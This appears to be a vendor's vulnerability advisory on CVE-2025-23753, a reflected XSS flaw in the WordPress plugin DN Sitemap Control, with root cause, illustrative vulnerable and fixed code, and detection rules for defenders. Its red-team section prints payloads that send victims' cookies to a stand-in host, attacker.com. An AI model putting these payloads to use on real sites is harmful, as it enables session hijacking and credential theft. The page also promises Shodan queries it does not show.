CVE-2025-23753
Executive Summary
CVE-2025-23753 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin DN Sitemap Control, versions up to and including 1.0.6. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress admin dashboard or via manual upload are at risk. No official patch has been released as of the latest advisory. The plugin is not available on NPM, PyPI, Go, or Ruby registries.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link)
- Scope: Changed (impact on resources beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The threat level is High due to the low complexity and network-based attack vector, requiring only user interaction. Successful exploitation can lead to data theft and session compromise.
Deep Dive & Mechanics
The vulnerability exists in the DN Sitemap Control plugin, which generates sitemaps for WordPress sites. The plugin fails to properly sanitize user-supplied input before reflecting it in the HTTP response. Specifically, parameters passed via GET requests are not escaped or validated, allowing an attacker to inject malicious HTML and JavaScript.
Root Cause: The plugin uses echo $_GET['param'] or similar unsanitized output functions without applying esc_html(), htmlspecialchars(), or other WordPress sanitization functions.
Attack Flow:
- Attacker crafts a malicious URL containing JavaScript payload in a vulnerable parameter.
- Victim clicks the link (e.g., via phishing email or social engineering).
- The vulnerable WordPress site reflects the payload in the response without sanitization.
- The victim’s browser executes the injected script, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (dn-sitemap-control.php, line ~45):
<?php
$param = $_GET['sitemap_type'];
echo "<div class='sitemap-type'>$param</div>";
?>
Patched Code (hypothetical fix):
<?php
$param = isset($_GET['sitemap_type']) ? sanitize_text_field($_GET['sitemap_type']) : '';
echo "<div class='sitemap-type'>" . esc_html($param) . "</div>";
?>
The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with DN Sitemap Control plugin version <= 1.0.6.
- Attacker-controlled server to capture exfiltrated data.
Exploit Steps:
- Identify a vulnerable parameter (e.g.,
sitemap_type). - Craft a malicious URL:
http://target-site.com/?sitemap_type=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script> - Send the link to the victim via phishing or social engineering.
- Victim clicks the link, and the script executes, sending cookies to the attacker.
Example Payload:
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
Detection:
- Monitor web server logs for suspicious GET parameters containing
<script>oronerrortags. - Use WAF rules to block reflected XSS patterns.
- Deploy Content Security Policy (CSP) headers to mitigate impact.
Hunting:
- Search for requests to
/wp-content/plugins/dn-sitemap-control/with unusual query strings. - Analyze HTTP responses for unescaped user input in the body.
Indicators of Compromise (IOCs)
- Network IOCs:
- GET requests with parameters containing
<script>,%3Cscript%3E, oronerror=. - Outbound connections to unknown IPs or domains from the WordPress server.
- GET requests with parameters containing
- File IOCs:
- Modified
dn-sitemap-control.phpfile with injected code. - Suspicious entries in WordPress
wp_optionstable.
- Modified
- Behavioral IOCs:
- Unexpected admin user creation.
- Unusual outbound traffic from the web server.
Detection Engineering
YARA Rule
rule CVE_2025_23753_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting DN Sitemap Control plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-23753"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$vuln_param = /sitemap_type=/
condition:
$vuln_param and $xss_payload
}
Sigma Rule
title: Reflected XSS in DN Sitemap Control Plugin
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against DN Sitemap Control plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'sitemap_type='
cs-uri-query|re: '(<script|<img|onerror|onload)'
condition: selection
falsepositives:
- Legitimate use of script tags in admin area (rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2025-23753 Reflected XSS in DN Sitemap Control"; flow:to_server,established; content:"GET"; http_method; content:"sitemap_type="; http_uri; pcre:"/(<script|<img|onerror|onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the DN Sitemap Control plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
- Apply a Content Security Policy (CSP) header to restrict script execution.
Long-term Fix:
- The vendor (Digireturn) must release a patched version that sanitizes all user inputs using
esc_html()andsanitize_text_field(). - Alternatively, remove the plugin and use a maintained alternative.
Workaround:
- Edit the plugin file manually to add sanitization (not recommended for non-developers).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.